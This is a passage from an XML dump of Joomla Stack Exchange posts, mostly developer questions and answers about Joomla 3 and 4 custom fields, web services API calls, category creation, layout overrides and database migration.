'titlenick_'.strtoupper(str_replace('-','_',$var['country'])) || !$placeholder_country) $placeholder_country = '';&#xA;&#xA;    $document-&amp;gt;setTitle = JString::str_ireplace(&amp;quot;{%placeholder_country%}&amp;quot;, $placeholder_country, $article-&amp;gt;text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Meaning, I go into the Joomla Language overrides section, add the Language Constant, for example, &amp;quot;TITLENICK_PERU&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;In the &amp;quot;text&amp;quot; Id enter the page title I want. &amp;quot;Cheap Peru vacations&amp;quot; for example.&lt;/p&gt;&#xA;" OwnerUserId="14543" LastActivityDate="2021-12-08T12:59:13.470" Title="Use language override to create custom title tags for URL's" Tags="|joomla-3.x|php|seo|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31739" PostTypeId="1" CreationDate="2021-12-08T16:27:29.120" Score="0" ViewCount="39" Body="&lt;p&gt;I am kinda new as a developer and I want to achieve the following in Joomla. The idea is that I have a category-&amp;gt;sub category-&amp;gt;products. The category and subcategory will be added in joomla and maintained from there. The products will come from a 3rd site (through DB or API request). The question is, is it possible to just create only one article in joomla which will be called i.e &amp;quot;Product article&amp;quot; and everytime the user clicks on a subcategory then to be able to get as parameter the subcategory id and build the product page with content(that comes from the response to the 3rd site)? And then from the product page that is builded dynamically to be able to get to the specific product page.&lt;/p&gt;&#xA;&lt;p&gt;I hope I explained it right what I want to achieve.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15954" LastActivityDate="2021-12-08T16:27:29.120" Title="Dynamic page filled with content depending on the previous page" Tags="|php|articles|category|joomla-4|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31740" PostTypeId="2" ParentId="31678" CreationDate="2021-12-08T18:04:00.047" Score="1" Body="&lt;p&gt;Actually it works. This can be done by issuing a PATCH request to the content/articles/{{article_id}} endpoint&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{{base_url}}/{{base_path}}/content/articles/{{article_id}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace {{base_url}} with your actual base_url ex:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://example.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace {{base_path}} with your actual base_path. Usually it is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;api/index.php/v1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace {{article_id}} with the actual article id for which you want to update the custom field value ex: 1&lt;/p&gt;&#xA;&lt;p&gt;So for example using curl you can do something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -X PATCH --url 'http://example.org/api/index.php/v1/content/articles/1' -H 'X-Joomla-Token: your_joomla_api_token' -H 'Content-Type: application/json' -d '{&amp;quot;buy-now&amp;quot;:&amp;quot;https://www.joomla.org&amp;quot;}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Assuming that the custom field is of type url and it's called buy-now (the name of the custom field in the admin of Joomla! 4.x)&lt;/p&gt;&#xA;&lt;p&gt;Of course change your token with the one from your website.&lt;/p&gt;&#xA;&lt;p&gt;If you want a more comprehensive list of possibilities of Joomla! 4 Web Services you can find out more &lt;a href=&quot;https://github.com/alexandreelise/j4x-api-collection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unofficial Joomla! 4.x Postman Colllection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-08T18:04:00.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31741" PostTypeId="2" ParentId="31702" CreationDate="2021-12-09T01:26:10.220" Score="1" Body="&lt;p&gt;TLDR: You need to used FieldsHelper::render for that.&lt;/p&gt;&#xA;&lt;p&gt;Here are the code samples:&lt;/p&gt;&#xA;&lt;p&gt;fancysubform.php : the subform custom layout&#xA;Place this file there:&lt;/p&gt;&#xA;&lt;p&gt;YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/html/layouts/com_fields/field/fancysubform.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package         Joomla.Plugin&#xA; * @subpackage      Fields.Subform&#xA; *&#xA; * @copyright   (C) 2019 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA; * @license         GNU General Public License version 2 or later; see LICENSE.txt&#xA; * @contributor   Alexandre ELISÉ &amp;lt;contact@alexapi.cloud&amp;gt; Modified version on 2021-12-08&#xA; * @description The content of this file needs to be copied in &#xA; * YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/html/layouts/com_fields/field/fancysubform.php&#xA; */&#xA;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;if (!array_key_exists('field', $displayData))&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;$field = $displayData['field'];&#xA;&#xA;$context = $field-&amp;gt;context;&#xA;&#xA;if (!$context || empty($field-&amp;gt;subform_rows))&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;// remember you don't use prefix or suffix in your subform custom field so use it for something useful&#xA;$subformContainerClass = $field-&amp;gt;params-&amp;gt;get('prefix', '');&#xA;&#xA;$subformResultClass = $field-&amp;gt;params-&amp;gt;get('suffix', '');&#xA;&#xA;$result = '';&#xA;&#xA;// Iterate over each row that we have&#xA;foreach ($field-&amp;gt;subform_rows as $subform_row)&#xA;{&#xA;    // Placeholder array to generate this rows output&#xA;    $row_output = [];&#xA;&#xA;    // Iterate over each sub field inside of that row&#xA;    foreach ($subform_row as $subfield)&#xA;    {&#xA;        $class   = trim($subfield-&amp;gt;params-&amp;gt;get('render_class', ''));&#xA;        $layout  = trim($subfield-&amp;gt;params-&amp;gt;get('layout', 'render'));&#xA;        $content = trim(&#xA;                FieldsHelper::render(&#xA;                        $context,&#xA;                        'field.' . $layout, // normally just 'field.render'&#xA;                        ['field' =&amp;gt; $subfield]&#xA;                )&#xA;        );&#xA;&#xA;        // Skip empty output&#xA;        if ($content === '')&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // Generate the output for this sub field and row&#xA;        $row_output[] = '&amp;lt;div class=&amp;quot;field-entry' . ($class ? (' ' . $class) : '') . '&amp;quot;&amp;gt;' . $content . '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    // Skip empty rows&#xA;    if (count($row_output) == 0)&#xA;    {&#xA;        continue;&#xA;    }&#xA;&#xA;    $result .= sprintf('&amp;lt;div class=&amp;quot;fields-result %s&amp;quot;&amp;gt;%s&amp;lt;/div&amp;gt;', ($subformResultClass ? (' ' . $subformResultClass) : ''), implode('', $row_output));&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if (trim($result) != '') : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;fields-container &amp;lt;?php echo($subformContainerClass ? (' ' . $subformContainerClass) : ''); ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $result; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The subform styling&#xA;user.css&#xA;Place this file there:&#xA;YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/css/user.css&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;&#xA;&#xA;/*&#xA;* Subform custom field styling&#xA;* This file needs to be in YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/css/user.css&#xA;*/&#xA;&#xA;.fancy-result.fancy-bio {&#xA;  display: grid;&#xA;  grid-template-columns: 1fr;&#xA;  grid-template-rows: auto;&#xA;  justify-items: center;&#xA;  border: 1px solid #ededed;&#xA;  max-width: 25vw;&#xA;  background-color: var(--fancy-secondary-color);&#xA;  backdrop-filter: brightness(2%);&#xA;  padding: 0.5rem;&#xA;  border-radius: 0.5rem;&#xA;}&#xA;&#xA;.field-entry.fancy-render.fancy-firstname,&#xA;.field-entry.fancy-render.fancy-lastname,&#xA;.field-entry.fancy-render.fancy-phone&#xA;{&#xA;  display: grid;&#xA;  grid-template-columns: 6rem 1fr;&#xA;  grid-template-rows: auto;&#xA;  align-items: center;&#xA;  width: 100%;&#xA;}&#xA;&#xA;&#xA;.fancy-label {&#xA;  background-color: coral;&#xA;  color: black;&#xA;  margin: 2px;&#xA;  padding: 2px;&#xA;  border-radius: 2rem;&#xA;  max-width: 6rem;&#xA;  max-height: auto;&#xA;  text-align: center;&#xA;}&#xA;&#xA;.fancy-value.fancy-photo img {&#xA;  border-radius: 50%;&#xA;  max-width: 100%;&#xA;  max-height: 100%;&#xA;}&#xA;&#xA;span.field-value.fancy-value.fancy-firstname,&#xA;span.field-value.fancy-value.fancy-lastname,&#xA;span.field-value.fancy-value.fancy-phone {&#xA;  text-align: center;&#xA;  color: white;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The actual minimal article layout override to get this done. Here it is:&#xA;Place this file:&#xA;YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/html/com_content/article/fancysubformarticlelayoutoverride.php&lt;/p&gt;&#xA;&lt;p&gt;Then choose this layout for the article that has the subform custom field&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;`&amp;lt;?php&#xA;declare(strict_types=1);&#xA;&#xA;/**&#xA; * Subform Custom Field Manual Rendering&#xA; *&#xA; * @version       0.1.0&#xA; * @package       fancysubformlayoutoverride.php&#xA; * @author        Alexandre ELISÉ &amp;lt;contact@alexapi.cloud&amp;gt;&#xA; * @copyright (c) 2009-2021 . Alexandre ELISÉ . Tous droits réservés.&#xA; * @license       GPL-2.0-and-later GNU General Public License v2.0 or later&#xA; * @link          https://alexapi.cloud&#xA; * @description  this file should be placed in &#xA; * YOUR_JOOMLA_WEBSITE_ROOT/templates/cassiopeia/html/com_content/article/fancysubformarticlelayoutoverride.php&#xA; * Then choose this layout for the article with the subform custom field &#xA; * &#xA; */&#xA;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;defined('_JEXEC') || die;&#xA;&#xA;// minimum code to render manually a custom field in an article&#xA;// based on it's name rather than on it's id&#xA;&#xA;$customFields = $this-&amp;gt;item-&amp;gt;jcfields;&#xA;&#xA;// custom fields by id ]&#xA;// not that useful in this case since jcfields is already indexed by id&#xA;//$customFieldsById = ArrayHelper::pivot($customFields, 'id');&#xA;//$subformCustomField = $customFieldsById[13];&#xA;&#xA;// OR (uncomment the one you wanna use)&#xA;&#xA;// custom fields by name&#xA;//$customFieldsByName = ArrayHelper::pivot($customFields, 'name');&#xA;//$subformCustomField = $customFieldsByName['article-bio'];&#xA;&#xA;// the default layout of custom field&#xA;// you can specify here your own layout&#xA;// for example: field.fancysubform&#xA;// but you will first need to create that layout in&#xA;// YOUR_JOOMLA_WEBSITE_ROOT/templates/YOUR_TEMPLATE/html/layouts/com_fields/field/fancysubform.php&#xA;// if you want a basis copy paste the content of&#xA;// YOUR_JOOMLA_WEBSITE_ROOT/components/com_fields/layouts/field/render.php&#xA;&#xA;&#xA;$computedLayout = sprintf('field.%s', $customFields[13]-&amp;gt;params-&amp;gt;get('layout', 'render'));&#xA;echo FieldsHelper::render('com_content.article', $computedLayout, ['field' =&amp;gt; $customFields[13]]);``&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the link to the related gist: &lt;a href=&quot;https://gist.github.com/alexandreelise/4241075cdfafc73cbdf708419e8f53a6&quot; rel=&quot;nofollow noreferrer&quot;&gt;The source code on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A screenshot of the result I got locally as an example&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xl6KN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xl6KN.png&quot; alt=&quot;Screenshot of the subform custom field rendered manually using php and css&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-09T01:26:10.220" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31742" PostTypeId="2" ParentId="31684" CreationDate="2021-12-09T02:09:06.273" Score="1" Body="&lt;p&gt;Yes indeed there might be a couple of reasons for that. But the main one I see in your case is that you might have not enable the content plugin for fields&#xA;plg_content_fields. Here is a screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hi08y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hi08y.png&quot; alt=&quot;The content plugin for fields to render the smart tags related to fields in an article&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-09T02:09:06.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31743" PostTypeId="1" CreationDate="2021-12-09T09:34:56.930" Score="1" ViewCount="287" Body="&lt;p&gt;The registered user gets the &amp;quot;Author&amp;quot; access rights. Through the menu, you can make the button &amp;quot;Create material&amp;quot; and the Author, having entered the site, can create this material. This is understandable.&lt;/p&gt;&#xA;&lt;p&gt;It is necessary that the Author, by pressing a button in his profile, could create a Category, having only &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;alias&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;How to implement this in Joomla 4? Everything that I find is outdated and does not work.&lt;/p&gt;&#xA;&lt;p&gt;=================================&lt;/p&gt;&#xA;&lt;p&gt;In file:&#xA;templates/mytemplate/html/com_users/profile/default.php&#xA;there is a button and a script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(&amp;quot;.url&amp;quot;).click(function(){&#xA;    var url = $(&amp;quot;#basic-url&amp;quot;).val();&#xA;    var idbtnclick1 = $(this).attr('id');&#xA;    $.ajax({&#xA;        type: 'post',&#xA;        url: &amp;quot;/property/profile/page.php&amp;quot;, &#xA;        data: {&#xA;            'user': &amp;quot;&amp;lt;?php echo $user ?&amp;gt;&amp;quot;,&#xA;            'url': url,&#xA;            'command': idbtnclick1&#xA;            },&#xA;        response: 'text',&#xA;        //location.reload();&#xA;        //success: function(data){&#xA;        //  $(&amp;quot;#eddd&amp;quot;).html(data); &#xA;        //}&#xA;    })&#xA;    //console.log(url);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;File:&#xA;/property/profile/page.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', realpath(dirname(__FILE__) . '/../..'));&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;$user = $_POST[&amp;quot;user&amp;quot;];&#xA;$url = $_POST[&amp;quot;url&amp;quot;];&#xA;$command = $_POST[&amp;quot;command&amp;quot;];&#xA;&#xA;if ($command === 'urlplus') {&#xA;&#xA;/* ???????????????????????????????????????????????? */&#xA;&#xA;}&#xA;&#xA;if ($command === 'urledit') {&#xA;    $object = new stdClass();&#xA;    $object-&amp;gt;title = $user;&#xA;    $object-&amp;gt;alias = $url;&#xA;    $object-&amp;gt;path = $url;&#xA;    $object-&amp;gt;modified_user_id = 419;&#xA;    $object-&amp;gt;modified_time = null;&#xA;&#xA;    $result = JFactory::getDbo()-&amp;gt;updateObject('#__categories', $object, 'title');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The part where the changes are made works.&#xA;We need to do the part that creates the new category.&#xA;Found an &lt;a href=&quot;https://gist.github.com/volandku/5f4b07e8765cd613a23dbb0ebde90fe3&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt; and similar ones but don't work.&lt;/p&gt;&#xA;" OwnerUserId="15955" LastEditorUserId="15955" LastEditDate="2021-12-09T12:57:18.787" LastActivityDate="2021-12-13T19:58:57.823" Title="Create a category from frontend in Joomla 4" Tags="|category|joomla-4.x|front-end|profile|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31745" PostTypeId="1" CreationDate="2021-12-09T20:41:21.630" Score="2" ViewCount="104" Body="&lt;p&gt;I built my website with Joomla4 and a MySQL8.0 database. Unfortunately, I need to transfer my site to a server using MariaDB10.4, which isn't compatible with MySQL8.0.&lt;/p&gt;&#xA;&lt;p&gt;I'm not a programmer and changing manually the code in the current database to fit with MariaDB language would be too hard for me, so I'm thinking of re-building my website on the new server. I will keep exactly the same website; the only change concerns the MariaDB database.&lt;/p&gt;&#xA;&lt;p&gt;I'm looking for software to make this process easier, e. g.: not having to re-create all articles, categories, associations and modules in the new Joomla4 installation.&lt;/p&gt;&#xA;&lt;p&gt;I don't have several users so a transfer of users isn't important&lt;/p&gt;&#xA;&lt;p&gt;I saw that there is a software called SP transfer -- which seems interesting. I read the descriptions of this software and tried to understand as well as I can, but am not entirely sure that it can do what I need (transferring as much as possible from the old site, but not the MySQL database, and without having to manually work on the database).&lt;/p&gt;&#xA;&lt;p&gt;Do you think SP tranfer could do what I need? I'm not a computer scientist so I'm not sure when only reading the descriptions of the product. As SP transfer is a paid download, I would like to check if it really fits my situation before buying it.&lt;/p&gt;&#xA;&lt;p&gt;If you have recommendations for other software, don't hesitate to let me know. (Other software that I saw were for Joomla3, not Joomla4).&lt;/p&gt;&#xA;" OwnerUserId="15957" LastEditorUserId="12352" LastEditDate="2021-12-09T20:57:31.733" LastActivityDate="2021-12-09T20:57:31.733" Title="Transfer of the site, with change of the database (MySQL to MariaDB)" Tags="|database|joomla-4.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31746" PostTypeId="2" ParentId="31737" CreationDate="2021-12-11T06:17:47.617" Score="2" Body="&lt;p&gt;&lt;strong&gt;Many years ago&lt;/strong&gt; I had the same question: &amp;quot;&lt;strong&gt;where should I put my own code in Joomla?&lt;/strong&gt;&amp;quot;. It was very frustrating at that time for me too and Joomla has a long learning curve, comparing to WordPress for example. Many of us easily can forget how confusing Joomla can be if someone wants to customize it or understand it. No wonder why WordPress is used like on 5-600 million websites and Joomla is like on 3 million. That is an extremely big difference and I think the simple reason for this is told in this question even if the answer of this question could be only 1 line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Use and override the &lt;code&gt;display()&lt;/code&gt; method.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is only my own opinion - Joomla is a good example of trying to make something clean and simple but at the end it gets way too complex to understand (Joomla4 for example took about 7 years to develop of course no-one can understand it in one week or two). I see thousands of packages in Javascript field (NextJS, Node js ie.) doing similarly in a smaller manner nowadays. With a good intention they try to provide &amp;quot;a solution&amp;quot; in a package or more, then not enough documentation, too complex logic, only few people have time to understand it, then it gets abandoned and wrecks applications. It is different of course, but the point is the frustration level you can find in full stack development when &lt;strong&gt;you just want to display &amp;quot;hello world&amp;quot;&lt;/strong&gt; and it takes a week setup (and docker, and kubernetes, and npm, node js, and so on...)&lt;/p&gt;&#xA;&lt;p&gt;Instead of writing any explanation here I would just link the &lt;strong&gt;Joomla documentation&lt;/strong&gt; which describes &lt;strong&gt;how Joomla handles requests&lt;/strong&gt; and how and why the Controller is responsible for deciding whether it loads the View (and which view) or redirect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since it was not part of the original question I actually just avoided this but in Joomla 3 (similar in Joomla 4 ), in your component, you can extend &lt;code&gt;BaseController&lt;/code&gt;, &lt;code&gt;FormController&lt;/code&gt; or &lt;code&gt;AdminController&lt;/code&gt;, or if you do not want to use the namespaced Controllers, then just extend &lt;code&gt;JControllerAdmin&lt;/code&gt; for example (at list views), so you do not extend just &lt;code&gt;Controller&lt;/code&gt;. So, that is wrong in your Controller code.&lt;/p&gt;&#xA;&lt;p&gt;So, I suggest you to use either (this one was used in Joomla3) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;class MycomponentnameControllerProfiles extends JControllerAdmin {...}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;or with namespaced (used now in Joomla4 can be used in Joomla 3 too):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// on the top of the file we include:&#xA;use Joomla\CMS\MVC\Controller\AdminController;&#xA;...&#xA;&#xA;// and then the class (in Joomla4)&#xA;class ProfilesController extends AdminController {...}&#xA;&#xA;// in Joomla 3&#xA;class MycomponentnameControllerProfiles extends AdminController {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-12-20T13:28:17.463" LastActivityDate="2021-12-20T13:28:17.463" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31747" PostTypeId="2" ParentId="31722" CreationDate="2021-12-11T07:56:24.657" Score="2" Body="&lt;p&gt;The SQL that returns the most recent modified date across all your articles:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;SELECT `modified` FROM `#__content` GROUP BY `modified` ORDER BY `modified` DESC LIMIT 1 &lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then you would need to build a &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla select query&lt;/a&gt; in PHP:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('modified')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__content'));&#xA;$query-&amp;gt;group('modified');&#xA;$query-&amp;gt;order('modified DESC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$mostrecent = $db-&amp;gt;loadResult();&#xA;echo $mostrecent;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You would then further convert the result into a date (as the result is returned as a string) and then adjust how your most recent date is formatted:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$thedate = date_create($mostrecent);&#xA;echo '&amp;lt;em&amp;gt;Site content last modified on '. date_format($thedate,'l jS F Y').'&amp;lt;em&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which at the time of my reply would return:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Site content last modified on Saturday 11th December 2021&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2021-12-11T07:56:24.657" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31748" PostTypeId="2" ParentId="31743" CreationDate="2021-12-12T23:35:18.433" Score="1" Body="&lt;p&gt;&lt;strong&gt;This task can be approached few different ways.&lt;/strong&gt; I would just like to give a short version of how a new Category is created in Joomla 4 - content (not a big difference in Joomla 3 actually). Besides my example below, you should also consider additional, important security steps in your code, like CSRF checking at POST request for example, also the extension_name where we submit the request from, and there might be additional exception handling at filters. So these codes should/could be improved, but basically the following is how this works) :&lt;/p&gt;&#xA;&lt;p&gt;I would suggest you to create your own Class for this as I did in my fast test on these methods (in a custom module).&lt;/p&gt;&#xA;&lt;p&gt;On the top of the &lt;code&gt;php&lt;/code&gt; file we should not forget to include the base Joomla classes we will use.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; I added a first method that checks whether the User really has permission to create a new Category. (This is checked the same way in the Category Controller of Joomla 4)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Method to check if you can add a new record.&#xA; *&#xA; * @param   array  $data  An array of input data. // we should include $this-&amp;gt;input-&amp;gt;get('extension', 'com_content'); I just hardcoded com_content here for testing.&#xA; *&#xA; * @return  boolean&#xA; *&#xA; * @since   1.6&#xA; */&#xA;protected function allowAdd()&#xA;{&#xA;    $app = Factory::getApplication();&#xA;    $user = $app-&amp;gt;getIdentity();&#xA;    $contentExtension = 'com_content';&#xA;&#xA;    return ($user-&amp;gt;authorise('core.create', $contentExtension) || count($user-&amp;gt;getAuthorisedCategories($contentExtension, 'core.create')));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; I created an &lt;code&gt;addCategory()&lt;/code&gt; method which uses the permission checking and prepares the data from the input (POST request) and calls for saving the data in the database.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function addCategory()&#xA;{&#xA;    if ((new self)-&amp;gt;allowAdd()) &#xA;    {&#xA;        $input = Factory::getApplication()-&amp;gt;input;&#xA;        $data = array();&#xA;        $data['title'] = $input-&amp;gt;get('categoryname', '');&#xA;        $data['alias'] = $input-&amp;gt;get('categoryalias', '');&#xA;        $data['extension'] = 'com_content';&#xA;        $data['parent_id'] = 1;&#xA;&#xA;        (new self)-&amp;gt;createCategory($data);&#xA;        return true;&#xA;    } &#xA;    else&#xA;    {&#xA;        Factory::getApplication()-&amp;gt;enqueueMessage(Text::_('MY_COMPONENT_YOU_DO_NOT_HAVE_PERMISSION'), 'error');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; And I added the &lt;code&gt;createCategory()&lt;/code&gt; method which calls the Model from the Categories component of Joomla and uses its method to save the new data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function createCategory($data) &#xA;{        &#xA;    $app = Factory::getApplication();&#xA;    $model = $app-&amp;gt;bootComponent('com_categories')&#xA;    -&amp;gt;getMVCFactory()-&amp;gt;createModel('Category', 'Administrator', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;    $model-&amp;gt;save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-12-13T19:58:57.823" LastActivityDate="2021-12-13T19:58:57.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31749" PostTypeId="1" CreationDate="2021-12-14T19:10:03.833" Score="2" ViewCount="421" Body="&lt;p&gt;My client is looking to integrate news content coming from an external API into their Joomla website. The API is in the JSON format and includes multiple fields like title, summary, date, and full text content.&lt;/p&gt;&#xA;&lt;p&gt;I am looking for a way to get the data from the API and map it to the appropriate fields in com_content. The generated articles would be assigned to one single category.&lt;/p&gt;&#xA;&lt;p&gt;I have reviewed this &lt;a href=&quot;https://joomla.stackexchange.com/questions/28426/does-joomla-cms-or-joomla-framework-provide-any-class-for-making-post-request-to&quot;&gt;post&lt;/a&gt; and the Joomla 3 API &lt;a href=&quot;https://api.joomla.org/framework-1/classes/Joomla.Http.Http.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http client class&lt;/a&gt;, but I am not sure how to get started. I have familiarity with Joomla PHP programming, but not with consuming external data through APIs.&lt;/p&gt;&#xA;&lt;p&gt;The website is running Joomla 3.10.3.&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions are greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2022-01-05T02:52:14.853" Title="Integrate external news content API into com_content articles" Tags="|php|javascript|joomla-api|ajax|json|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31750" PostTypeId="1" AcceptedAnswerId="31759" CreationDate="2021-12-15T03:04:04.023" Score="2" ViewCount="41" Body="&lt;p&gt;I've implemented a dashboard into a component with an option to update the components configuration parameters.  What I want to do is return to the dashboard on Save of the options.&#xA;I notice that there is a &amp;quot;path&amp;quot; and &amp;quot;return&amp;quot; element to the URL in the link element of the menu option I've created but I can't seem to get the return back to the dashboard.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;menuitem&#xA;        title=&amp;quot;COM_MYCOMPONENT_CONFIGURATION&amp;quot;&#xA;        type=&amp;quot;component&amp;quot;&#xA;        element=&amp;quot;com_config&amp;quot;&#xA;        link=&amp;quot;index.php?option=com_config&amp;amp;amp;view=component&amp;amp;amp;component=com_mycomponent&amp;amp;amp;path=&amp;amp;amp;return=&amp;quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know how to do this?  All pointers appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastEditorUserId="1985" LastEditDate="2021-12-15T03:13:42.350" LastActivityDate="2021-12-21T01:56:26.387" Title="J4 - Return to Component Dashboard from Options" Tags="|joomla-4|component-configuration|dashboard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
